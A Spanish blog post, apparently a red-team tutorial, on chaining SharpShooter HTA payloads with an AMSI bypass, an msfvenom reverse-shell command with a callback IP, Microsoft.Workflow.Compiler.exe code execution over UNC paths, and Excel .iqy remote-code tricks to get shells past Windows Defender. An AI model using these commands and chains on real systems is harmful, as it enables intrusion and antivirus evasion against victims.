Trasteando con Sharpshooter, archivos iqy y compiladores de C#

Trasteando estos últimos días con la información que nos va compartiendo el compi @Superfume, me dio por probar diferentes herramientas y técnicas y mezclar sus resultados.
En el post explicaré cómo utilizar Sharpshooter con la nueva flag para bypassear amsi, cómo hacer uso del ejecutable Microsoft.Workflow.Compiler.exe para compilar y ejecutar código C# y cómo utilizar los archivos .iqy de Excel para ejecutar código remoto. Por último, una mezcla de las técnicas anteriormente descritas.

PARTE 1: SHARPSHOOTER
SharpShooter tiene bastantes flags y formas de crear payloads, lo que mejor me ha funcionado a mi estos días ha sido lo siguiente:

python SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile reversa -smuggle --template mcafee --amsi amsienable

Con este comando crearemos dos ficheros:
  • Foo.hta
  • Foo.html
Destacar que en la flag --rawscfile incluiremos nuestra reversa en formato raw:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=15900 EnableStageEncoding=True PrependMigrate=True -f raw > reversa


Una vez disponemos de estos ficheros, solo nos queda hostearlos, que nuestra victima acceda y ejecute nuestra mandanga:
  • Descargamos el .hta:
  • Ejecutamos el .hta:
  • Recibimos nuestra reversa.

Todo ello con el Windows defender encendido y actualizado:


PARTE 2: Microsoft.Workflow.Compiler.exe 

Como apetecía probar cosas nuevas (sobre todo si son de specterops), le eché un ojo al siguiente post del día de ayer, 17 de agosto: https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb

Básicamente, nos cuenta la existencia de un .exe (Microsoft.Workflow.Compiler.exe) que permite compilar y ejecutar C# sin que a Windows le importe demasiado lo que haya en él.
Necesitamos dos archivos:
  • Test.xml: contendrá un objeto serializado de tipo CompilerInput. En este fichero se hará referencia al fichero de a continuación (Test.xoml) donde se encontrará el código a compilar y ejecutar.
  • Test.xoml: contendrá el C# (o VB.Net) que será compilado y ejecutado a través de un constructor que deriva de la clase System.Workflow.ComponentModel.Activity.
Una vez dispongamos de ambos archivos, solo nos queda hacer la llamada (en el archivo results.xml se guardará información del compilado y cosas varias):

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe test.xml results.xml


Bien, hay dos puntos clave interesantes en cómo funciona esto:

1. No es necesario que las extensiones sean .xoml y .xml

Podemos utilizar extensiones arbitrarias en nuestros archivos y se seguirá realizando el trabajo.
  • Hacemos referencia en test.txt a blah.foo.
  • Incluimos en blah.foo el código a compilar y ejecutar:
  • Lanzamos el comando y obtenemos el mismo resultado con extensiones arbitrarias:

2. No es necesario que los archivos estén en la máquina víctima

Podemos utilizar UNC (Universal Naming Convention) para hacer referencia tanto a test.txt como a blah.foo, por lo que no es necesario escribir nada en el disco de la máquina víctima:
  • Para blah.foo, modificamos test.txt en la línea donde se le hace referencia y añadimos la ruta a nuestra máquina:
  • Para test.txt y results.blah, hacemos referencia a ambos desde el propio argumento al hacer la llamada:

3.Archivos .iqy + Excel

Excel permite ejecutar archivos de extensión .iqy, mediante los cuales se puede referenciar a una página externa controlada por el atacante, y obtener con ello ejecución de código (Macros 2.0).


Para no alargar demasiado el post, dispondremos de nuevamente dos archivos:
  •  Archivo .iqy
  •  Archivo remoto con las instrucciones a ejecutar.
El archivo .iqy será algo tan simple como esto:


Y el archivo remoto algo tan ridículo como esto:

  • Al ejecutar poc.iqy, se nos mostrará lo siguiente:
  • Como vemos en la imagen siguiente, se realiza la petición a nuestro archivo externo y se realiza una segunda advertencia.
  • Una vez aceptada, el código se ejecuta.

PARTE 3: UNIÓN DE TODO 

De la información que hemos visto atrás y pensando junto a @Superfume, obtenemos dos técnicas que hemos considerado interesantes.

Si bien es cierto que las pruebas con Windows Defender han ido bien, al realizarlas en otra máquina con Avast ha habido más problemas. Esto es debido a que, como veréis a continuación, realizamos las pruebas finalizando con una llamada a “shell.ps1” con powershell, lo que hace saltar las alarmas.

Destacar que esa llamada a shell.ps1 es INNECESARIA.

Tenemos control de código C# que es compilado y ejecutado, por lo que sólo tenemos que implementar lo que queramos en dicho código.

Un ejemplo de ello es el mimikatz que acaba de sacar specterops en formato .xoml:



No obstante, como no sé C#, he tirado por hacer la llamada a Shell.ps1 y que quedara vistoso el post (para un futuro post tocará ir más allá).

1. .hta servido al estilo Sharpshooter que utiliza Microsoft.Workflow.Compiler.exe

Creamos un archivo .hta que haga uso de VBs para realizar nuestro comando clave y lo servimos a través de nuestra web McAfee 100% confiable REAL-TIME SCANNING:



Al ejecutar dicho .hta obtendremos la shell reversa (el error aparece pero no afecta a la obtención de la reversa):


  1. Foo.hta ejecutará la llamada a Microsoft.Workflow.Compiler.exe.
  2. Microsoft.Workflow.Compiler.exe accederá remotamente a test.txt.
  3. Test.txt compilará y ejecutará blah.foo.
  4. blah.foo llamará a shell.ps1 y obtendremos la reversa.

2. .iqy servido al estilo Sharpshooter que utiliza Microsoft.Workflow.Compiler.exe


Siguiendo un poco la misma idea, tenemos nuestro archivo poc.iqy


Y el contenido del archivo remoto será el siguiente:


Una vez ejecutemos el archivo poc.iqy, obtendremos un resultado similar al anterior:
  • Aparecerá la siguiente ventana, daremos a habilitar…
  • Se accederá a nuestro archivo remoto:
  • Obtendremos la siguiente ventana, daremos a "Sí"…
  • Obtenemos reversa.

Por lo tanto, al ejecutar dicho .iqy:
  • poc.iqy hara la llamada a remoto
  • remoto ejecutará la llamada a Microsoft.Workflow.Compiler.exe
  • Microsoft.Workflow.Compiler.exe accederá remotamente a test.txt
  • Test.txt compilará y ejecutará blah.foo
  • blah.foo llamará a shell.ps1 y obtendremos la reversa.
Autor: Daniel López Jiménez - attl4s

Comentarios